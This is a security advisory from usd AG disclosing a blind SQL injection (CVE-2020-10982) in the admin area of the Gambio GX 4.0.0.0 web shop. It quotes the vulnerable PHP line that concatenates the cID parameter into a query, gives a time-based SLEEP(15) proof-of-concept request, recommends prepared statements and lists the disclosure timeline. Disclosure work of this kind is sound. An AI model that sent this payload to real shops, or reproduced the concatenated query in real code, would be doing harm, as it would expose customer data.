



Alle akzeptieren

usd-2020-0033

Advisory ID: usd-2020-0033
CVE Number: CVE-2020-10982
Affected Product: Gambio GX
Affected Version: 4.0.0.0
Vulnerability Type: Blind SQL Injection
Security Risk: Medium
Vendor URL: <https://www.gambio.de/>
Vendor Status: Fixed in 4.0.1.0 (according to vendor)

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

Description

The web shop application „Gambio GX“ contains a blind SQL injection vulnerability in the admin area. The vulnerability allows an authenticated attacker with administrative privileges to leak database contents.

Proof of Concept (PoC)

The application gambio has a blind SQL injection vulnerability in the admin area. The file `admin/gv_mail.php` between line 361 and 365 contains the vulnerable code. The GET argument `cID` is passed to the application and is concatenated with the SQL query. An attacker could exploit this to manipulate the database query.

```
if ($_GET['cID']) {  
    $customers = array();  
    $select='where customers_id='.$_GET['cID'];  
    $mail_query = xtc_db_query("select customers_id, customers_email_address, customers_firstname, customers_lastname from " . TABLE_CUSTOMERS . " ".$select." order by customers_lastname");  
    [...]
```

The following request can be send to the web application. This request would cause the server to respond only after 15 seconds:

```
GET /gambio/admin/gv_mail.php?cID=1-SLEEP(15) HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: GXsid_03c93da3fcc6be36=g3t5171akvosac5m6m1cag4rma; PHPSESSID=sf4af6oovmtfnfau94054qc3kf2  
Upgrade-Insecure-Requests: 1
```

Fix

Most instances of SQL injection can be prevented by using parameterized queries (also known as prepared statements) instead of string concatenation within the query.

References

https://owasp.org/www-community/attacks/SQL_injection

Timeline

- 2020-03-25 Vulnerability Discovered
- 2020-03-26 Initial Contact Request
- 2020-03-26 Advisory submitted to vendor
- 2020-05-04 Vendor publishes fix in Beta Version of Gambio GX 4.0.1.0 Beta1 <https://tracker.gambio-server.net/issues/66736>
- 2020-05 Vendor publishes 4.0.1.0 <https://developers.gambio.de/changelog/#bugfix4.0.1.0>
- 2020-06-18 Security advisory released

Credits

This security vulnerability was found by Gerbert Roitburd of usd AG.



Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technische erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analyse Zwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzerklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



usd HeroLab

☒ Technisch erforderlich

☐ Analyse und Performance

Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)



In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our **CST Academy** and our **usd HeroLab** are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the **usd HeroLab** publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG

In accordance with usd AG's **Responsible Disclosure Policy**, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.

[usd AG](#)

[Kontakt](#)

[Impressum](#)

[Datenschutz](#)

[AGB](#)

© 2022 usd AG

[Meldung einer Schwachstelle oder eines Bugs](#)

[Code of Ethics](#)



[LabNews](#)

[Security Advisory zu GitLab](#)

Dez 15, 2022

[Security Advisory zu Acronis Cyber Protect](#)

Nov 9, 2022

[Security Advisories zu Apache Tomcat](#)

Nov 24, 2022